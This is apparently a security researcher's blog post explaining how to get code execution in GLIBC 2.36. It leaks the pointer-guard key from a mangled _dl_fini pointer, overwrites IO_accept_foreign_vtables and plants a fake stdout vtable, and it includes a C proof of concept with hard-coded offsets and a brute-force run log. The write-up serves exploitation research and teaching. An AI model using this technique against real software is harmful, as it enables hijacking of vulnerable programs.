Code Execution by Faking IO_FILE->vtable in GLIBC 2.36 [0x0]

Code Execution by Faking IO_FILE->vtable in GLIBC 2.36 [0x0]

Since vtables were added to a specific read-only segment in GLIBC and IO_validate_vtable() will verify the vtable of IO_FILE structure, exploitation of IO_FILE->vtable is becoming much more complex than before. Although we have some great exploitation chains such as House of banana or House of apple, some of them require a series of complex structure construction. So I would like to put forward another way to exploit IO_FILE->vtable here which can enable the attacker to gain code execution by faking vtable directly.

vtable validation

When calling the method in vtable, GLIBC will call IO_validate_vtable first

1
2
3
4
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))

when vtable isn’t located in __libc_IO_vtables, it will then invoke IO_vtable_check() to do further validation.

1
2
3
4
5
6
7
8
9
10
11
12
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

vtable is actually kind of a implementation of polymorphism, so there may be a chance to modify the vtable pointer to perform custom IO operations. In IO_vtable_check()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;

/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (!rtld_active ()
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}

#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif

__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

We can notice that it does give us a chance to use another foreign vtable. Now the question becomes how can we bypass the checking here.

Let’s take a look at

1
2
3
4
if (!rtld_active ()
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;

First, !rtlf_active() seems a great choice. But the value it returns is based on a value in read-only memory. Then what about _dl_addr (_IO_vtable_check, &di, &l, NULL) != 0? This line is performed to check the ld namespace of a given address. To bypass it we are required to construct a really complex linker-related structure. So let’s check the very first flag checking.

1
2
3
4
5
6
7
8
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;

_IO_check_vtable will load IO_accept_foreign_vtables and compare it against with _IO_vtable_check and luckily IO_accept_foreign_vtables is writable! So the problem is how can we defeat the PTR_MANGLE stuff.

Defeat PTR_MAGLE

Pointer guard is used to proctect some critical pointers from being forged. We can use the following pseudocode to compute a PTR_MANGLEd pointer value.

1
rol(ptr ^ pointer_guard, 0x11)

to demangle we can just

1
ror(ptr, 0x11) ^ pointer_guard

Now the problem becomes how can we leak or overwrite the pointer_guard.

Pointer guard is located in TLS structure. Although we do have method to modify the value, but why not ROP directly when we have this kind of primitive. So let’s take a look at how to leak pointer guard.

We have two ways to do so. Directly leak them from TLS or leak a mangled pointer and then calculate the pointer_guard xor key.

Leaking from TLS requires us to leak TLS address first so we will focu on the second method here.

Fortunately we do have a mangled pointer! Consider the following code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __fastcall __noreturn _libc_start_main(
int (__fastcall *main)(int, char **, char **),
int argc,
char **ubp_av,
void (*init)(void),
void (*fini)(void),
void (*rtld_fini)(void),
void *stack_end)
{
int v11; // ebx
char **v12; // rdx
_QWORD *v13; // r14
__int64 v14; // rcx
__int64 v15; // rdi
void (__fastcall **v16)(_QWORD, char **, char **, _QWORD, void (*)(void)); // rcx
__int64 v17; // rsi
void (__fastcall **v18)(_QWORD, char **, char **, _QWORD, void (*)(void)); // r14
char **v19; // [rsp+0h] [rbp-48h]
char **v20; // [rsp+0h] [rbp-48h]
__int64 v21; // [rsp+8h] [rbp-40h]

if ( rtld_fini )
_cxa_atexit(rtld_fini, 0LL, 0LL, init, fini);

When calling _cxa_atexit, rdi==_dl_fini

1
2
3
4
5
__GI___cxa_atexit (
QWORD var_0 = 0x007ffff7fceaa0 → <_dl_fini+0> push rbp,
QWORD var_1 = 0x00000000000000,
QWORD var_2 = 0x00000000000000
)

_cxa_atexit will then register the function to _exit_function after mangling!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

int
attribute_hidden
__internal_atexit (void (*func) (void *), void *arg, void *d,
struct exit_function_list **listp)
{
struct exit_function *new;

/* As a QoI issue we detect NULL early with an assertion instead
of a SIGSEGV at program exit when the handler is run (bug 20544). */
assert (func != NULL);

__libc_lock_lock (__exit_funcs_lock);
new = __new_exitfn (listp);

if (new == NULL)
{
__libc_lock_unlock (__exit_funcs_lock);
return -1;
}

#ifdef PTR_MANGLE
PTR_MANGLE (func);
#endif
new->func.cxa.fn = (void (*) (void *, int)) func;
new->func.cxa.arg = arg;
new->func.cxa.dso_handle = d;
new->flavor = ef_cxa;
__libc_lock_unlock (__exit_funcs_lock);
return 0;
}

So leaking _dl_fini in _exit_function means leaking xor key now. Then override IO_accepte_foreign_vtable with a mangled _IO_vtable_check pointer, we are able to use any vtable to completely take over the control flow.

Here is an example.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

u_int64_t ror(u_int64_t n, unsigned int d) {
return (n >> d) | (n << (64 - d));
}

u_int64_t rol(u_int64_t n, unsigned int d) {
return (n << d) | (n >> (64 - d));
}

void pwn() {
system("echo fake_vtable");
system("touch pwn");
}

int main() {

u_int64_t libcbase = ((u_int64_t)&free - 0xa5460);
printf("[*] libcbase 0x%llx\n", libcbase);

printf("[*] get encoded _dl_fini pointer\n");

u_int64_t dlfini = *(u_int64_t *)(libcbase + 0x21af18);
printf("[*] _dl_fini: 0x%llx\n", dlfini);

printf("[*] get xor key\n");
dlfini = ror(dlfini, 0x11);
u_int64_t key = dlfini ^ (libcbase + 0x409040); // real _dl_fini, in ld.so actually
printf("[+] got xor key 0x%llx\n", key);

u_int64_t iotablecheck = libcbase + 0x89f70;
u_int64_t encoded_io_table_check = rol(iotablecheck^key, 0x11);
u_int64_t IO_accept_foreign_vtables = libcbase + 0x21ba28;
printf("[*] override flag\n");
*(u_int64_t*)IO_accept_foreign_vtables = encoded_io_table_check;

void *fake_vtable = malloc(0x8*0x50);
memset(fake_vtable, 0x41, 0x8*0x50);

*(u_int64_t *)((u_int64_t)(stdout) + 0xd8) = (u_int64_t)fake_vtable;

for (int i = 0; i < 0x50-2; ++i) ((u_int64_t *)fake_vtable)[i+2] = &pwn;

return 0;

}

Run the example with a simple script

1
2
3
4
5
Fatal error: glibc detected an invalid stdio handle
Fatal error: glibc detected an invalid stdio handle
Fatal error: glibc detected an invalid stdio handle
pwn!!!
pwn after 234 attempts

Conclusion

The offset between libc and ld is not a constant value so we need to bruteforce the _dl_fini here since it’s in ld.
With a ld leaking the exploitation can be more reliable. And I will show a much more reliable way to exploit in next chapter.